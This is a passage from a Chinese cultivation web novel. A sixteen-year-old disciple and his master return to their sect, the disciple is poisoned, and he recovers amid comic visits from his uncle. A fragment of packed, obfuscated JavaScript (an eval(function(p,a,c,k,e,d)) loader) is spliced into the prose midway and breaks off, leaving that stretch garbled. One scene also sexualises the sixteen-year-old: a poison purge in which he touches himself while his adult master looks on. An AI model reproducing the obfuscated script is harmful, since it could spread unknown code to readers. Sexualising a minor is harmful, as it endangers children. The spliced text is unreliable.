谢槿带着小黄鸟追出去,自己也不知道自己一双桃花眸正亮晶晶地看着闻折柳,跟小狗似的,“师父给我分宝贝,师父是好人!” 闻折柳忙里抽闲看他一眼,低笑一声。谢槿也不知道他在笑什么,只跟着师父走出山洞。 御剑离开,便是回宗门了。 再上飞剑,谢槿还没站稳,闻折柳突然把手伸过来,将一个东西递到他嘴边来,“张嘴。” 谢槿愣愣啊了一声,那东西就被闻折柳塞进来,凉凉的,带着花香,一入口便化为清润灵气,他感觉经脉中再次充裕灵气,浑身一轻,低头一看,身上的伤也痊愈了。 “师父,这是……” 飞剑往东而去,天上罡风被结界拦下,闻折柳抬手放出几片金光灼灼的花瓣,勾唇一笑。 “七叶圣昙。” 谢槿惊得瞪圆眼睛,“我……我吃了七叶圣昙?” 闻折柳毫不心疼,“不过一片花瓣,刚好疗愈你身上的伤,送你百年修为,还不想要吗?” 谢槿很难违心地拒绝师父,可他看着师父手里仅剩下的几片花瓣,数了数,还是有些慌。 “只剩四片了,师父不是说,师祖需要这灵药吗?” 闻折柳收起剩下四片花瓣,坐下来说:“师父只要一片花瓣作为药引,剩下还有多的,再说了,我这不是把根须留在玉陌城了吗?等他天音寺请回去再养养,百年之后花还会再开,到时就又有七片花瓣了。” 谢槿又是一惊,“师父……你居然把花瓣都撸走了?” 闻折柳理直气壮,“我辛辛苦苦斩妖帮天音寺夺回七叶圣昙,就拿走几片花瓣,怎么了?” 谢槿嘴角一抽,“没,没怎么……” 就是感觉天音寺那个金印禅修应该会很火大,天音寺估计也会很气恼。而且师父斩妖时哪里辛苦了,前边就等欲魔和蛇妖自相残杀了,后面,也是唰唰几剑斩了欲魔…… 帅呆了! 闻折柳轻咳一声,手中灵酒瓶点了点飞剑,“一片七叶圣昙花瓣能添百年修为,这可不是假话,你修为尚浅,这一片花瓣够你消化的了,还不坐下修炼,炼化花瓣灵力?” 谢槿认真点头,就地打坐。但这两日经历了太多事,他的心还是没办法静下来,许多话闷在心口,想说出来又不知该从何说起。 闻折柳问:“还在想玉陌城?” 谢槿摇头,“我在想叶惟。” 闻折柳拧眉,“你们才认识多久,就开始思念他了?” 谢槿顿了顿,说出后话,“还有闻人祤、天音寺的几个和尚,之前在柳仙镇遇到的人,欲魔、柳仙儿、柳月、常先,这些妖魔。” 闻折柳饮了一口灵酒,才道:“看来这次出门,叫你颇有感悟。说说吧,又学会了什么?” 谢槿仍是摇头,“说不上学会什么,只是真真切切地感受到了这个修真界的真实和残酷。” 他一一细数起来,“神剑门那几人中,有的骄纵愚蠢、有的虚伪冷漠,也有像那位兰雁师姐一样温和之人,但好人被亲友辜负总免不得叫人愤愤不平,好在最终云巍与他师弟也因贪婪和无情而死;而柳月虽为狡猾的蛇妖,最终竟死于天真。来到玉陌城后,蛇妖的自负和欲魔的狠毒也 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道心吗? 谢槿知道这很重要,但对于这个概念仍是迷茫的。 “不过,如果非要说有什么感想的话……”谢槿目光幽幽看向闻折柳,认真中还有一点幽怨,“就算玉陌城不是师父给我的历练,但柳仙镇一定是!师父,请你记住我只是炼气期,下次历练给我挑个同样难度的好不好?我这次可是吓得魂都要飞了!” 他这口气憋了好久,到现在忍无可忍,必须要说! 闻折柳愣愣眨了眨眼,随即放怀大笑,“哈哈哈哈!” 谢槿想过他可能会生气还是如何,没成想他只是笑,笑得谢槿脸都红了,眼神越发幽怨。 “师父……” 回应他的仍是闻折柳的笑声,还笑瘫在剑上。他往日在谢槿面前时像是什么都不在意的样子,突然笑成这样,莫说谢槿,小黄鸟都被吓到,扑腾翅膀踩到他头上去。 谢槿从脸红羞窘到无奈叹气。 罢了。 这次出门历练,他也算对师父有了更深一步的了解,师父其实很厉害,他莫名有些骄傲。 谢槿出了这一口气,心才静下来,闭目修炼起来。 闻折柳笑够了,索性支着额角斜躺在飞剑上,还带着笑意的一双琉璃目静静看向周身流转起灵气的青衣少年,慢悠悠饮着灵酒。 仅仅只是消化七叶圣昙一片花瓣的灵气,谢槿就用了一整白日,练气修为连升两层,总算摸到了练气八层的边。想来又有那支玉笔在,要画出中品灵符也不会太难了。 天黑前,飞剑回到揽月宗。 闻折柳走时没带谢槿走正门,回来时也没走正门,他似乎很清楚从哪里出入揽月宗的结界不会被人察觉,也不会被护宗阵枢发觉。说来谢槿修炼一日,他则是睡了一日。 飞剑落到赤月峰顶殿前时,闻折柳一脚落地先伸了个懒腰,可他醒了,肩上小黄鸟又困了。 闻折柳打着哈欠道:“我回去睡了,你修炼去吧。” 谢槿早已经习惯师父的作息,正要点头,忽然发现前殿大门开了一条缝,里面还有灯光。 就在这时,殿门被人从里面打开来,出现的居然是玄意那张脸。不说谢槿,走在前面的闻折柳也被惊得脚步顿住,玄意看见他们却当场喜极而泣,一个箭步飞扑过来。 “闻折柳,你怎么才回……” 闻折柳飞快闪身躲开,玄意没来得及停下,便抱住了后面的谢槿。谢槿暗道师父没义气,对上玄意双眼,只能扯着嘴角干笑一声。 玄意也没嫌弃,哭着用力抱住他,“小谢槿,你可算是回来了!师叔还以为你回不来了!” 他光嚎不掉泪,假得很。 谢槿挣扎不开,只好拍拍玄意后背,客气安慰。 “师叔,我没事。” 玄意假装抽噎一声,松开他从怀里掏出手帕,冲着二人抹眼泪,“你们到底去哪儿了?我原本还想找你们跟我一起上清月峰打陈明礼的,让你当打手,谢小槿当军师!” 谢槿惊了,军师…… 我吗? 门前又闪过一个小影子,是慢一步飘出来的小树灵,它还顶着小傀儡的壳子,又笨重又可爱,一出来便直扑谢槿小腿嘤嘤嘤。 谢槿心都要化了,正要蹲下摸摸小树灵脑袋,玄意接着哭诉道:“谁知道闻折柳你根本不在赤月峰上,谢小槿更是抛妻弃子……” 谢槿赶紧打断他的胡言乱语,“师叔,什么抛妻弃子?” 闻折柳放下酒瓶看来。 谢槿忙道:“师父,没有的事!” 他这辈子才十六岁,病弱少年郎,哪有什么妻什么子啊?玄意师叔怎么能平白污人清白! 玄意立马指向小树灵,“你还不认是吧?快喊一声!” 小树灵居然也配合着,欢快地绕着谢槿小腿转圈。 “爹!” 谢槿:“……” 36. 第三十六章 谢槿觉得自己真是昏了头,居然会相信玄意嘴里有真话!他抱起小树灵,将傀儡上的微笑脸对上玄意的脸,“师叔,我是个人!” 玄意可不管那么多,还跟他算起账来,“反正我不管,这三天我可是留在你们赤月峰帮你们照顾儿子、徒孙,还帮你们把灵田浇灌了,你们快说说,你们真去抢灵药了吗?” 他这会儿也不假哭了,眼巴巴凑到闻折柳面前。 “那你抢到了吗?” 看小树灵这么听玄意话,估计玄意这几天真的有照顾它。谢槿闻言眸光一转,看向闻折柳,闻折柳对玄意还是没耐心,径自进殿。 “关你什么事?” “真拿到了!”玄意惊喜道:“那我可就去告状了?” 闻折柳漠然道:“随便。” 玄意嘿嘿一笑,当真转头跑下山。 “我走了!小谢槿,回头再聊!” 他这人一向风风火火,说完就御剑离开了赤月峰。 谢槿追上闻折柳问:“师父就任由师叔去告状吗?” “他折腾不出什么来,回去睡吧。” 闻折柳打了个哈欠,摆了摆手就带着小黄鸟闪人了。 师父不管,谢槿也不管了。 不只是闻折柳困,他也累。 带小树灵回撷芳院,换上干净衣裳,谢槿便瘫在床上。 小树灵在他脚边蹭着。 谢槿这才有空摸摸它光溜溜的小脑袋,轻笑道:“这几日我不在,师叔有没有欺负你?” 小树灵只乖乖蹭他手掌。 谢槿叹了口气,撑着身体坐起来,让小树灵转了一圈,看它身上并无损伤,就知道它这几天没被欺负了,这才放心拍拍它的脑袋。 “没事就好,我先睡一觉,明早我们一起去灵田。” 小树灵嘤嘤应声。 谢槿笑眯了眼,正要躺下,心口忽然传来一阵窒痛,他急喘一声,下意识撑住心口坐好,心跳越来越快,一下接一下的抽痛越发强烈,紧跟着,指尖飘出一缕诡异黑气。 “这是……” 那黑气忽然钻进谢槿眉心,眼前一黑,眩晕来袭。 这太不对劲了! 谢槿眼底闪过一丝惊惧,掐紧指腹想爬起来,可他的身体已经没了力气,一动便滚下床榻。 这动静引来了小树灵注意,它飘到谢槿面前,嘤嘤叫了两声。身上的痛楚让谢槿缓了缓神,撑着最后一丝清明捏住腰间的铁球。 “去,找师父……” 谢槿本以为自己这回一闭眼怕是要醒不来了,没想到一睁眼便见到了窗棂照进的明艳日光。 他正躺在床上,心口已经不疼了,浑身虚软无力,迷蒙双眼愣愣望着上方横梁,一团鹅黄色便扑腾进他的视线范围内,探头看他。 “叽叽!” “小唔……” 谢槿想起身,身体却不听使唤沉沉躺回去,有脚步声靠近床前,温暖的手掌按在他肩头上。 “醒了?别乱动,你身上还有妖毒残留,短时间内无法调动灵力,先躺上个两三天吧。” 听到师父的声音,谢槿转头看向床边,果真见到闻折柳那一身明俊的红衣,小树灵跟在他身后,远一些的圆桌上放着一枚铁球。 谢槿迷茫眨眼,“妖毒?” 闻折柳挥挥衣袖,灵力挪来桌边圆凳,点头坐下。 “该是在玉陌城时被那蛇女所伤后潜入体内的妖毒,先前没发现,误打误撞给你服下七叶圣昙,压了下去,等到回来之后才发作。你放心,净月峰的玉竹师姐已经帮你逼出大半妖毒,之后应当无碍了。” 谢槿恍然大悟,他就说那黑气不对劲,估计他在玉陌城被柳仙儿那红线所伤时就中毒了。 “净月峰的玉竹真人吗?” “嗯,春秋玄功一脉所修道法甚广,净月峰的玉竹师姐专修医道、丹道,是景延师叔座下医术最好的弟子,她说你没事,你就没事了。剩下的余毒也无需担忧,七叶圣昙本就克制妖毒,师姐也给你服过解毒清神丹,等过两日妖毒发出来就好了。” 闻折柳将床头的小黄鸟捞回来,眼神有些犹豫,才认真地看向谢槿,“你身中妖毒是因我而起,若我早送你离开玉陌城,你就不会受苦,这次是我错了,我向你赔罪。” 他不说,谢槿也没想过怪罪他,可是能在闻折柳这张脸上看到愧疚,谢槿还是有些惊讶。 “那,是剑傀找来的师父吗?” 他只记得自己昏过去之前似乎唤醒了剑傀,又似乎没有,当时也只有他与小树灵在房中。 闻折柳的目光却落到眼巴巴靠在床边的小树灵身上,“是这小东西来寻的我,你睡了整整一夜,眼下身体可还有什么不适之处?” “只是浑身乏力。” 谢槿有些意外,笑着摸摸小树灵脑袋,“原来这次是你救了我一命啊,谢谢你,小家伙。” 闻折柳看在眼里,也跟着笑起来,“这小东西倒是与你很亲近,半夜闯入炎阳殿寻我,也对得起往日唤你一声爹的父子之情了。” 昨晚玄意的胡话谢槿还没忘记,没成想闻折柳也会开这种玩笑,他轻咳一声道:“是师父救了它,师父理应才是它的再生父母。” 闻折柳是不在意这些的,“要不是你先发现它,非要闹着我去找,它也活不到今日。不说这些了,你想好要什么补偿了没有?” 没想到中毒还有补偿,谢槿桃花眸转了转,“那,徒儿今日太累了,不想修炼,可以吗?” 闻折柳笑了,“除了这个,你就没别的想要的了?” 谢槿看向他肩上的小黄鸟,“我想摸摸小黄鸟。” 小黄鸟当场愣住,“叽?” 闻折柳也是一顿,拧眉打量起谢槿,“你可想好了,你每日都能见到它,可我的赔礼不是每日都有的,你确定只是想摸摸它吗?” 所谓补偿,都是师父良心发现给的,也就是白得的。谢槿的确没什么野心,只有一点私心,桃花眸亮晶晶地望着僵硬的小黄鸟,“师父给我的已经很多了,而且这可是大荒的神鸟,徒儿想摸摸沾点福气。” 也不知道哪个字取悦了小黄鸟,它抖了抖翅膀,神气地扬起脑袋。闻折柳偏头看看肩上的小黄鸟,再看眼巴巴等待自己回答的谢槿,扬唇笑起来,将小黄鸟抓下来递过去。 “这可是你自己的选择。” 谢槿哪怕没力气起身,也是诚惶诚恐地双手捧住小黄鸟,放在心口上小心翼翼地摸了摸小黄鸟脑袋。小黄鸟没躲,还低下头用鸟喙蹭他指腹,暖呼呼又毛茸茸的触感叫谢槿心中一本满足,又有些好奇。 “这么小的鸟喙究竟是怎么啄断欲魔的尾巴的?师父,小黄鸟真的是大荒来的神鸟吗?” 被质疑的小黄鸟拱了拱他的指腹,凶巴巴叽了一声。闻折柳难得有闲心替它翻译,“它说,它就是神鸟,自然有它的神通之处。” 想起来小黄鸟颇通人性,听得懂人话,谢槿忙改口哄道:“我没有怀疑它,只是它太厉害了,我现在想起来还觉得像做梦一样。” 小黄鸟果然被哄好了,主动蹭他的指腹,“叽!” 谢槿正暗松口气,门前就传来玄意咋咋呼呼的声音,“闻折柳,听说你昨天半夜匆匆忙忙把玉竹师姐叫过来给你徒弟解毒,谢小槿出什么事了?你说你怎么照顾徒弟的?” 玄意径自推门进来,二话不说就指责闻折柳。 闻折柳拉下脸回头,“你来干什么?” “当然是来看谢小槿啊!” 玄意几步走到床边,一看到谢槿,便俯身坐下拉住他的手,捏着衣袖装模作样地抹起眼泪,“看我们可怜的谢小槿,不过一夜没见,人就伤成这样了!你这师父也忒不是人了,我昨晚走开那么一小会儿,他就把你折腾得不像人样了,太可怜了!” 小黄鸟被他吓得扑腾翅膀飞到谢槿肩上,看得出来很嫌弃。谢槿也抽了抽嘴角,他人好好的,怎么就被师父折腾得不像人样了? 可他本来就没力气,也没法将自己的手从玄意手里挣扎出来,只能好声好气地跟他说:“让师叔担心了,我没事,我是中了妖毒,与师父没关系的,现在也已经解毒了。” 玄意恨铁不成钢地看着他,“你人都被闻折柳折腾坏了,还替他说话呢?要不是他带你出去抢灵药,你能中妖毒吗?我都听说了,抢了七叶圣昙那家伙可是合体期大妖!” 谢槿真没怪罪闻折柳,苦笑着用眼神求助闻折柳。 “我真的没事。” 玄意擦掉眼角不存在的眼泪,往他手里塞了一个小小的玉盒,“我就是心疼你啊,我还带了礼物呢,你看,这是服下可以增长灵力的灵果,你好好收着,下回再出门时一定要给我报信!带上我,咱们仨一块出去,管他什么大妖,杀他一个痛快!” 谢槿早知道他不正经,见他说着说着露出了真面目,哪里不知道手里这灵果是贿赂金? 这东西他能收吗? 闻折柳冷眼看着,终于开口解救谢槿,“有完没完?我数到三,你再不起开,手就别要了。” 玄意回头瞪他,“你威胁我?” 闻折柳沉下脸,“三。” 玄意立马跳起来,急道:“你怎么不从一开始数!” 闻折柳都懒得理会他,站起身拦在床榻前,没好气道:“说吧,你来找我到底要干什么?” “算了,大人不记小人过,我不跟你计较。”玄意骂完露出忧心的表情,“掌门来了,让你出去见他。你去吧,我留下照看小槿!” 闻折柳岂能看不出他眼底的幸灾乐祸,尤其是听见掌门的名字,面色霎时便冷了下来。 “他来干什么?” 玄意摊手道:“这我哪儿知道?我跟师兄师姐说你回来了,他们不让我告状,可掌门什么人,你一回来他就知道了!我这是听说掌门过来了,才赶在他来前好心通知你!” 他说着撇了撇嘴,捧住心口一脸哀怨,“人家好心帮你,还被你凶,小槿,你看你师父!” 谢槿无言以对,他都不知道玄意哪 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谢槿疑惑,“是要我吃吗?” 小黄鸟清脆地叽了一声。 谢槿笑了笑,将玉盒合上。 “师父还不一定愿意让我收下玄意师叔的东西。” 小黄鸟歪了歪头,没再催他,蹲在他怀里低头梳理着身上羽毛。看它如此悠闲,谢槿反正也只能躺着,便也没有再问闻折柳的事。 等了将近一盏茶时间,闻折柳才回来,面色虽有些冷,却也没受伤。已经快睡着的谢槿眨了眨眼睛让清醒一些,“师父没打架?” 闻折柳嗤道:“我若动手,他哪回不是被揍得鼻青脸肿?” 没出门前,谢槿会以为师父在吹牛,但这趟出门亲眼见识过师父的本领后,谢槿对闻折柳时心服口服,自然相信他这话是真的,如此一来,对他与掌门的关系更好奇了。 “掌门来找师父做什么?” 闻折柳在他这里很少摆什么师父架子,但谢槿往日很少主动打听这些。床上红衣少年脸色苍白,本就清瘦,这么一看越发羸弱了。 闻折柳道:“来取药。我辛辛苦苦去夺了药回来,若不是走不开,哪里轮到他去献宝?” 谢槿猜到他是为了自己才走不开,耳尖红了红,安慰道:“师父的师父,也是掌门的师父,想来谁去送药都是一样的,师祖知道师父为他夺灵药的心意,也定会很欣慰。” 他这语气,倒像是哄小黄鸟和小树灵的语气,难得对闻折柳说话温柔,闻折柳别开眼,“你只管养身体就是,若有不适就告诉我。” 他抬手召来桌上的铁球,指尖凝起赤红灵力,一缕一缕镀上铁球暗纹,谢槿看得好奇。 “师父在做什么?” 闻折柳说:“这趟出去剑傀有些损伤,修补一下。” 就在这里修补?看来师父是打算一直守着他吗? 谢槿早就困乏了,硬撑着等他回来才没睡着,这会儿趁他心神都在剑傀上,偷偷打了个哈欠。闻折柳分明没在看他,却出声说道:“困了就睡吧,我说过,你是我带出去才中了妖毒,我会对你负责的。” 什么负责…… 这话听得谢槿脸都红了,师父又拿错剧本了吧? 他想了想,又问:“师父和掌门的关系一直如此吗?” 闻折柳一听到掌门二字就皱眉,“又问他干什么?” 谢槿困得昏昏沉沉的,撑着眼皮道:“徒儿就是好奇。玄意师叔说,掌门还不是掌门的时候,就总跟师父打架……对了,师叔呢?” “扔出去了。”闻折柳没好气道:“打架也是掌门那个狗东西先招惹我,看见他就恶心。” 为什么说掌门恶心啊? 谢槿入门近三月还没见过掌门,难道他长得很丑吗? 可他是主角攻的师父啊。 谢槿困得厉害,心里想想这事就过去了,偏头看向放在床头的玉盒,“那师叔的礼物……” 闻折柳瞥了眼玉盒,随口道:“给你就收,他师姐如今是内门执事,玄月峰好东西少不了。” 谢槿应了一声,眼皮已经在往下耷拉,冷不丁的,又想起一件事,“师父跟欲魔说过,你已经在化神期很多年了,到底是多久?” 闻折柳闻言回眸望向床上快睡着的少年,“想知道?” 谢槿嗓音变得含糊,“好奇……” “就是很久。”闻折柳眸光暗了暗,沉默须臾,才轻声说道:“大概,已经有万年了吧?” 身后的少年没再说话,回应他的只有少年清浅而规律的呼吸声。闻折柳回头再看,连小黄鸟都困了,窝在谢槿臂弯里打盹,也就是小树灵呆呆地靠在床头,灵光闪闪的双眼盯着床上看,又转头看闻折柳。 闻折柳啧了一声,按住它的木头脑袋转回去,叫它继续看谢槿,“看着他,醒了就找我。” 小树灵眼睛忽闪,龙鳞纹一闪而过。 “嘤。” 37. 第三十七章 谢槿这一觉睡到黄昏,身上的力气才恢复了一些。 醒来时没见到师父,只见到守在床边的小树灵,小黄鸟也在,蹲在床头上啃着寒露草。 说好的负责,人呢? 谢槿心下腹诽男人的嘴骗人的鬼,书上诚不我欺,果然是越好看的男人,就越会骗人! 可躺了一天一夜,他这身板也躺硬了,谢槿下床抻了抻筋骨,头发也懒得束了,披上外衣就出门。小黄鸟两三下啃完一根寒露草扑腾翅膀飞过来,小树灵也跟着飘来。 谢槿带着一鸟一树灵到前殿转了一圈,发觉前殿里多了几个玉盒,旁边还放了一封信。 信上有诸月峰的火漆印,落款处是大师兄萧珩,也不知道是谁收了东西,放到了这里。 谢槿打开信一看就明白了。 大师兄信上说他听闻自己中毒,特意托掌门师父帮忙带信问候,还让他师父带了些礼物来,都是灵药之类的,望谢槿早日好转。 萧珩人还是挺好的,也没什么皇子架子。谢槿打算回头休息好了再回信,点了点桌上的玉盒,翻出萧珩的礼物后还多了几个玉盒,他正疑惑,身后飞来一道赤红剑光。 “那些是掌门那个狗东西送来的,还有一封信,之前忘了给你了,你那小师兄给你的。” “师父?” 谢槿惊喜回头,闻折柳身上的剑气还未完全收敛,难得梳得整整齐齐的赤金凤翎冠也有些许凌乱。看起来,他刚刚出去了一趟。 “信我收到了,师父出去了?” 闻折柳点头,瞥了眼他肩上的小黄鸟和身后的小树灵,手里捏着剑傀铁球的红绳递给他。 “给你。” 谢槿却没接,“之前的铁球暗纹不是蓝色的吗?” 闻折柳眼神闪躲了下,黑着脸说:“修坏了,已经送去隐月峰让人帮忙修补了。这个是刚从剑气阁里取出来的,跟之前的一样。” 坏了?还以为师父之前那样是真会修……到底是救过自己小命的剑傀,谢槿接过这个全新的铁球,有些放心不下,“还能修好吗?” 闻折柳这回理直气壮起来了,“要是连虚谷师兄都修不好,那就只能等到奉剑师兄回来修了。反正现如今这些剑傀都没用了,就算修不好,对揽月宗也造不成任何影响。” 谢槿没说话,闷闷拿着铁球。 闻折柳又道:“会尽力修。” 谢槿心里才舒服了些,拿起手里的新剑傀铁球端详起来,“好像不只是颜色不同,暗纹也不一样,这些剑傀其实长得都不一样吗?” 闻折柳暗松口气,越过他走到玉案上坐下,掏出灵酒瓶,“你改日放出来看看就知道了,本质上大差不差,外表只是略有不同。当年师祖炼成他们时,曾以十二星次命名,所以这些剑傀的暗纹也暗合十二星次,之前那个是析木,这个是鹑火。” 谢槿恍然,“原来如此。” “奉剑师兄将剑气阁玉牌交给我,你若想见识所有剑傀,改日我带你过去就是。”闻折柳看他脸色好转,便问:“有力气下床了?” 谢槿将铁球小心挂在腰间,笑着点头,“好多了。” 闻折柳提醒道:“玉竹师姐说,残余的妖毒不多,对你这样的炼气期而言也不算严重,身体可以自行排除。但具体如何排解出来我也不知道,你也不要高兴得太早了。” 师父怎么说话的…… 谢槿也知道他是担心自己,便老老实实地应是。 闻折柳饮了口酒,斜靠在座上问:“不回去睡了?” “徒儿不困。”谢槿摇头,睡了一整个白日,他现在精神得很,看闻折柳坐在那里没动,他也好奇,“天黑了,师父不回去睡吗?” 闻折柳分明困得直打哈欠,却放下灵酒瓶盯着他。 “我要看着你。” 师父还是挺负责的,谢槿决定收回之前的抱怨。可他平日与闻折柳相处,多是闻折柳看书打瞌睡,而他在一边修炼,今日闻折柳一直照看他,他反倒有些不知道该干什么了,想了想,索性走到往日打坐的蒲团前坐下,“那徒儿便先钻研符法吧。” 闻折柳喝着灵酒,随意点头。 谢槿现在调用不了灵力,只能翻出储物戒里的符法书籍看看,察觉到静静躺在储物戒空间内一角的玉笔,他顺手取出来。这一支玉笔乃是一整块青玉雕琢而成,足有一尺半长,宛如一根秀气笔直的青竹。 玉笔入手,宛如一柄短剑,通体透着莹润灵光。 谢槿轻抚过笔杆,在青竹暗纹中发现了上面还刻着几个字,在殿中烛火映照下盈盈生光。 “君子不器?” 闻折柳闻言说道:“那琴上也刻有‘和光同尘’四字,听起来,这玉笔该更适合南域学宫?” 谢槿不舍地看向闻折柳,“那师父要收回去吗?” 闻折柳笑道:“吓唬你的,给你就是你的了,这支玉笔虽还不是仙器,但若你日后能修成大道,加以淬炼未必不能成为仙器。” 谢槿这才放心了,兴致盎然地拿着玉笔比划起来,笔尖沾墨不染尘,笔下倒有灵气流转。 他一看就知道这是好东西,自然不想让给别人的。 闻折柳看他那如获至宝的小动作,哼笑一声,“你要是听话修炼,日后那琴也是给你的。” 谢槿抱住玉笔,面露惊喜。 “真的吗?” 闻折柳晃了晃手中玉瓶,优哉游哉饮了一口灵酒,“我又不会弹琴,要那东西又何用?” 师父好大方! 谢槿激动得想扑上去抱住师父,还好多年来的教养叫他压抑住了这股冲动,脸颊泛着红润满是感激地看着闻折柳,“多谢师父!” 闻折柳支起下颌,“你少在心里骂我几句,就当是感激我了。余毒未除,不要动用灵力。” “……是。” 师父怎么知道他在心里骂他了……谢槿摸摸鼻尖,低头再看手里的玉笔,眼里的好奇和雀跃藏都藏不住,可惜没办法动用灵力。 只能等改日再试了。 谢槿将玉笔收回储物戒,又取出那枚小小的莲子打量起来,打算等哪天得空种在山上试试。 闻折柳静静看他,没有出声提醒他说好的钻研符法,结果这里翻翻那里看看的不务正业。 也不知道谢槿怎么想的,还把莲子递到小黄鸟嘴边。小黄鸟显然瞧不上这种没有灵气的凡物,叽叽叫了一声,便拍着翅膀飞回闻折柳肩上去,谢槿拦都拦不住,抬眼对上闻折柳那双含笑的琉璃目,挤出一个干笑,才收起莲子老实拿起符法书来。 闻折柳淡淡一笑,闭目小憩。 谢槿捧起符法阵书看了没几页就觉得没意思,身上又有些燥热,他偷偷放下书,看向正在假寐的闻折柳。闻折柳没动静,小黄鸟却机敏地扭头看来,神气的小模样就差警告谢槿再不认真看书就要告状了。 谢槿打了个投降认输的手势,便竖起手里的阵书挡住脸,没忍住扯了扯衣襟,揉了揉脸。 不知为何,今夜似乎格外热。 不仅是身上燥热,心里也好像堵着一口热气似的,谢槿浑身难受,脸颊也热得有些发烫。 什么符法,根本看不进去…… 这股热气一开始在心口,过了一会儿竟往下去了。谢槿神色忽而紧绷起来,艰难抬头看向闻折柳,动也不敢动,就算他不是胎穿,他这一世也有十六岁,不是小孩子了。 他好像知道,妖毒最后会怎么从身体里排解出来了,妖毒源自蛇女柳仙儿,而蛇性本淫…… 谢槿心下直呼救命,可不敢惊扰师父,犹豫须臾,小心翼翼起身,猫着腰往殿门外走去。 结果还没走出两步,闻折柳的声音就从身后传来—— “跑哪儿去?” 谢槿躬身回头,下意识用手里的书挡在了小腹前。 “徒儿多日不曾沐浴,有些不适,想出去洗个澡……师父放心,徒儿一炷香后就会回来!” 这话说得他自己都不信,但身上热得愈发藏不住了,谢槿急匆匆留下一句话就转头跑走。 “毛毛躁躁,一定有鬼。”闻折柳挑了挑眉,转头看向肩上的小黄鸟,放下玉瓶起身。小树灵要跟着出门,闻折柳却按住它脑门。 “留下看家。” 出了殿外,谢槿毫不犹豫直奔红叶林里的山泉,也顾不上衣衫还未除下,径自跳下池中。 扑通一声水花四溅,他的身影从水里冒出来,靠坐在水不算深的池边,撩起被水湿透的长发用力抹了一把脸,脸颊早已经红透。 本以为遇水能稍微压制妖毒,谢槿入水刚泡了一会儿,身体反而越来越热了,尤其是…… 看来这残余妖毒没能排解出来,今天是要没完了。 可这种排毒方式真的很羞耻! 水珠从湿透的发间滚下来,洇湿谢槿眼尾,给桃花眸也蒙上了一层雾气,眼底满是纠结。 说好了一炷香回去,要是迟了,师父会不会找来? 他这样也回不去啊。 看来,只能自己先那样了…… 谢槿咬了咬唇,看四下无人,最终还是决定将手伸进水中,手背被冻得发白,轻轻发着颤慢慢抚上赤红衣摆,他呼吸随之一紧。 大半夜的偷偷做这种事,实在是有违他十几年来的素养,他闭了闭眼,难为情地没敢动。 “我赶时间,快出来啊……” 谢槿难堪自语。 肩头冷不防一沉,传来温暖的热度,紧跟着,闻折柳的声音在身后传来,“果然有问题。” 谢槿浑身一僵,双眸瞪大。 “师,师父!” 月色皎洁,将闻折柳那一身红衣的身影倒映在水面上,闻折柳俯身半蹲在谢槿身后,目光扫过他那一截素白如玉的后颈和红透了的耳尖,“念叨什么快出来,毒发了?” 小黄鸟也在闻折柳肩上…… 谢槿呼吸一滞,脸颊的绯红直直染上濡湿眼尾,既怕师父发现,又怕师父乱动,忙颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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都说了让师父走了,师父非不走,还非要伸手! 肩上小黄鸟叽了一声,探头看看池面,又看闻折柳,眼神清澈又懵懂,叫闻折柳神色恢复平静,灵力蒸干手中水汽,便背着手,少有的一本正经地冲着水面说道:“你如今还只是炼气期,结丹之前最好不要泄元阳,但今日为了解毒,也无伤大雅。” 还说还说! 我不想听啊啊啊! 都怪这妖毒…… 柳仙儿,你害我不浅啊! 谢槿心里羞愤不已,索性闭上眼睛蜷缩在水底,让漂浮的长发犹如海藻一般覆盖自己,连池子底下的小乌龟游过来趴在了自己头上也不管,将自己当做没有生命的石头。 闻折柳等了一阵,背在身后的手紧了紧,耐心似乎耗尽了,语气变得强硬,“谢槿,出来!” 刚发生了这么尴尬的事情,谢槿根本没脸见人,他现在唯一的心愿,就是让闻折柳快走! 水面咕噜咕噜冒出几个泡泡,水下的人愣是一动不动。以闻折柳的修为,这山泉池子根本阻挡不住他的视线,可僵持了好一会儿,终究还是他先泄了气,他背过身道:“那我就等一炷香,过会儿再来找你。要是蛇毒没有清干净,便去寻玉竹师姐。” 师父要走了? 谢槿依稀听见这话,这才放下捂脸的手,桃花眸望向水面。闻折柳深深望了一眼池面,便按住肩上迷茫的小黄鸟离开了红叶林。 过了一阵,水上再无动静。 谢槿顶着头上的小乌龟往上游去,悄悄在水上探出半个脑袋,外面林中空无一人,的确没再见到闻折柳的身影,他这才松了口气,浮出水面往岸边游去,方才好像听见师父说什么一炷香后还要再过来的…… 他才不等! 泡了那么久冷水,谢槿身体是冷的,脸却还是红得不行,连衣服都没拧干,偷跑回到前殿,万幸没见到闻折柳,顺路捞走等在前殿的小树灵,便运起身法跑回了撷芳院。 飞快关门换下湿衣裳后,他想着又去了门口一趟。 等房门再关上后,谢槿钻回了床上柔软被褥里,将自己整个人藏在被子里,不留一丝缝隙。 一炷香的时间说长不长,说短也不短。闻折柳在炎阳殿屋顶上饮酒等待,都不用再去池边,就见到某个鬼鬼祟祟的身影钻进炎阳殿外的撷芳院里,很快,院里灯就灭了。 小黄鸟也看见了,扑腾翅膀想飞过去,被闻折柳按住。 “别动,时间还没到。” 闻折柳自己说来神色也很是不自在,有迷茫、有纳闷、还有担心,但要说厌烦却是没有的。 小黄鸟钻出他掌下,不满地啄他手背,闻折柳也没管,只远远盯着那座房门紧闭的小院。 等时间到了,闻折柳才御剑下去,落到院中时下意识地将自己的左手背在身后,小黄鸟迫不及待往门前飞去,又被他一把抓回,他站定门前,琉璃目中透出几分怔愣。 因为房门前多了一个木牌,上面刻着八个大字—— “妖毒已清,闭关勿扰。” 38. 第三十八章 灵田里的灵草种下去已有多日,寒露草长出了三指长的高度,新的灵草也已经生出了三片新叶,比寒露草长得慢一些,需要开花后结果才能采摘,整个过程至少三个月。 七月流火,艳阳照在满山红叶之上,不冷不热。 谢槿浇灌完灵田也不回去,就这里待着。他的水木灵根天生亲近五行之木,这里的草木气息很适宜他修炼,不过他此刻不是在打坐修炼,而是拿着玉笔给小傀儡画灵符。 玉笔下灵气流转,无需朱砂,便能凝虚空灵气为符,行云流水一笔呵成,打入傀儡身上。 小树灵寄身的这具小傀儡散发出一阵灵光,飘落地时比先前要灵活轻便许多。小树灵举起一双机械臂左转转右转转,最后元气满满地飘回谢槿身边,挨着他肩头蹭蹭。 